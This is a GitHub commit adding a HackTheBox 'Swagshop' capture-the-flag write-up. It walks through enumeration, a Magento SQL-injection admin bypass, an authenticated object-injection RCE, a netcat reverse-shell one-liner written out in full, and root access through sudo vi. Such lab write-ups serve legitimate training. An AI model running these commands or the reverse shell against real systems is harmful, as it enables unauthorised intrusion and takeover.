Skip to content

Commit 8b03034

Browse files
committed
Pushed Swagshop Writeup
1 parent a51bd0e commit 8b03034

11 files changed

+136
-1
lines changed

Readme.md

+2-1
Original file line numberDiff line numberDiff line change
@@ -11,6 +11,7 @@ Starting out in Cybersecurity, HackTheBox (HTB) has been the go-to resource prov
1111
5. [Bashed - Linux (Easy)](Bashed/Readme.md)
1212
6. [Valentine - Linux (Easy)](Valentine/Readme.md)
1313
7. [Beep - Linux (Easy)](Beep/Readme.md)
14+
8. [Swagshop - Linux (Easy)](Swagshop/Readme.md)
1415
## Retired Machines vs Active Machines
1516

1617
HTB's Active Machines are free to access, upon signing up. Accessing the retired machines, which come with a HTB issued walkthrough PDF as well as an associated walkthrough from [Ippsec](https://www.youtube.com/c/ippsec) are exclusive to paid [subscribers](https://www.hackthebox.com/newsroom/vip-plus).
@@ -54,7 +55,7 @@ I have extracted the table and fed it into this repository and will be ticking o
5455
| Tartaresauce | Medium | C, Sandbox Escape, RFI, Web | |
5556
| Irked | Easy | Cryptography, Web | |
5657
| Friendzone | Easy | LFI, DNS Zone Transfer, File Misconfiguration, Web | |
57-
| Swagshop | Easy | SQL, SQLi, Web | |
58+
| Swagshop | Easy | SQL, SQLi, Web | Completed |
5859
| Networked | Easy | PHP, Arbitrary File Upload, Injection, Web | |
5960
| Jarvis | Medium | SQL, SQLi, Web, Injection | |
6061
| Mirai | Easy | Linux, Network, Default Creds, File System Forensics, Web | |

Swagshop/Images/admin-login.png

76.9 KB
Loading

Swagshop/Images/cert.png

73.9 KB
Loading

Swagshop/Images/magento_login.png

36.3 KB
Loading

Swagshop/Images/privesc-exploit.png

66.2 KB
Loading

Swagshop/Images/pythonpoc.png

28.2 KB
Loading

Swagshop/Images/script-date.png

182 KB
Loading

Swagshop/Images/sudo-l.png

50 KB
Loading

Swagshop/Images/user.txt.png

105 KB
Loading

Swagshop/Images/vi-shell.png

90.6 KB
Loading

Swagshop/Readme.md

+134
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,134 @@
1+
# Swagshop - Linux (Easy)
2+
3+
## Summary
4+
Swagshop was an easy box that involved a Magneto store web server. I start off by exploiting an authentication bypass to add an admin user to the CMS. I then used an authenticated exploitation of a PHP Object Injection Vulnerability to get RCE. I was able to then use Vi to privesc to gain root level access.
5+
6+
## Enumeration
7+
I started Enumeration by running Rustscan on the the target that showed ports 22 & 80 being open.
8+
9+
```
10+
rustscan -a $machine_IP -- -A -sV -sC -T4 -vv
11+
12+
-sC - Script Scan
13+
-sV - Version Scan
14+
-T4 - Timing Template
15+
-A - Aggresive Scan Options
16+
-vv - Verbosity level
17+
18+
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
19+
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
20+
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
21+
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
22+
The Modern Day Port Scanner.
23+
________________________________________
24+
: https://discord.gg/GFrQsGy :
25+
: https://github.com/RustScan/RustScan :
26+
--------------------------------------
27+
Real hackers hack time ⌛
28+
29+
[~] The config file is expected to be at "/root/.rustscan.toml"
30+
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
31+
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'.
32+
Open $machine_IP:22
33+
Open $machine_IP:80
34+
22/tcp open ssh syn-ack ttl 63 OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
35+
| ssh-hostkey:
36+
80/tcp open http syn-ack ttl 63 Apache httpd 2.4.18 ((Ubuntu))
37+
|_http-title: Did not follow redirect to http://swagshop.htb/
38+
|_http-favicon: Unknown favicon MD5: 88733EE53676A47FC354A61C32516E82
39+
| http-methods:
40+
|_ Supported Methods: GET HEAD POST OPTIONS
41+
|_http-server-header: Apache/2.4.18 (Ubuntu)
42+
```
43+
44+
### Port 80 - HTTP
45+
The website is a Magneto Gift Shop Store. I ran Gobuster on `index.php` which provided more details than the landing page, including an admin directory.
46+
47+
```
48+
gobuster dir -u http://swagshop.htb/index.php/ -w /usr/share/wordlists/dirb/common.txt -k
49+
===============================================================
50+
Gobuster v3.1.0
51+
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
52+
===============================================================
53+
[+] Url: http://swagshop.htb/index.php/
54+
[+] Method: GET
55+
[+] Threads: 10
56+
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
57+
[+] Negative Status codes: 404
58+
[+] User Agent: gobuster/3.1.0
59+
[+] Timeout: 10s
60+
===============================================================
61+
2022/02/18 06:38:23 Starting gobuster in directory enumeration mode
62+
===============================================================
63+
/0 (Status: 200) [Size: 16593]
64+
/admin (Status: 200) [Size: 3609]
65+
/api (Status: 200) [Size: 361]
66+
/catalog (Status: 302) [Size: 0] [--> http://swagshop.htb/index.php/]
67+
/checkout (Status: 302) [Size: 0] [--> http://swagshop.htb/index.php/checkout/onepage/]
68+
/cms (Status: 200) [Size: 16593]
69+
/contacts (Status: 200) [Size: 15600]
70+
/core (Status: 200) [Size: 0]
71+
/enable-cookies (Status: 200) [Size: 19482]
72+
/Home (Status: 200) [Size: 16591]
73+
/home (Status: 200) [Size: 16591]
74+
/install (Status: 302) [Size: 0] [--> http://swagshop.htb/index.php/]
75+
/wishlist (Status: 302) [Size: 0] [--> http://swagshop.htb/index.php/customer/account/login/]
76+
77+
===============================================================
78+
2022/02/18 06:46:16 Finished
79+
===============================================================
80+
```
81+
![Magento Login](Images/magento_login.png)
82+
83+
The `admin` directory had an Admin login page for which, default credentials didn't seem to do the trick. With some Searchsploit and Googling, I was able to settle on the [Shoplift](https://github.com/joren485/Magento-Shoplift-SQLI) exploit. The PoC selects an admin user, feeds queries into one line and inserts a username:password combination which allows legitimate access.
84+
85+
![pythonpoc](Images/pythonpoc.png)
86+
87+
![adminlogin](Images/admin-login.png)
88+
89+
## User Foothold
90+
91+
Now that I am authenticated, I was able to use Searchsploit to grab working code for an Authenticated RCE [exploit](https://www.exploit-db.com/exploits/37811).
92+
93+
![script-date](Images/script-date.png)
94+
95+
Having done some research on the nature of this exploit, it appears to be a PHP Object Injection Vulnerability. A key aspect to this attack vector is the date when it was installed which is present in `swagshop.htb/app/etc/local.xml`. This allows me to inject my own code, resulting in the RCE.
96+
97+
After [RCE.py](RCE.py) was debugged, I was able to run the following Proof of Concept.
98+
99+
```
100+
python exploit.py http://IP/index.php/admin "whoami"
101+
102+
http://swagshop.htb/index.php/admin/index/index/key/15b8de05ecf8a02c061eec0d14578a48/?SID=901gjdi369elk0fkpp5rguve55
103+
http://swagshop.htb/index.php/admin/dashboard/index/key/fa2c88ef0cf6cd68256766221e0a9866/
104+
105+
www-data
106+
```
107+
108+
Seeing that this provided the expected output of the `whoami` command giving me access as `www-data`, I was able to expand on this to set a netcat reverse shell and a listener
109+
110+
```
111+
python exploit.py http://$machine_IP/index.php/admin "rm /tmp/f;f;cat /tmp/f|/bin/sh -i 2>&1|nc $machine_IP 1234 >/tmp/f"
112+
```
113+
114+
Having established this, I was able to upgrade my shell and grab the user flag.
115+
116+
![user.txt](Images/user.txt.png)
117+
118+
## Privilege Escalation
119+
120+
After obtaining the user flag, I ran `sudo -l` to identify what other applications the user could run as root. This was surprisingly easy as I could use `/usr/bin/vi` & `/var/www/html/*`
121+
122+
![sudo-l](Images/sudo-l.png)
123+
124+
![privesc](Images/privesc-exploit.png)
125+
126+
For reference, I used the associated [GTFO Bins](https://gtfobins.github.io/gtfobins/vi/) resource.
127+
128+
This ensured that I was able to reach the `root.txt` file and grab the root file as an unprivileged user. When in Vi, I was able to use the `:sh` flag which gave me a root shell
129+
130+
![root.txt](Images/vi-shell.png)
131+
132+
## Cert
133+
134+
![cert](Images/cert.png)

0 commit comments

Comments
 (0)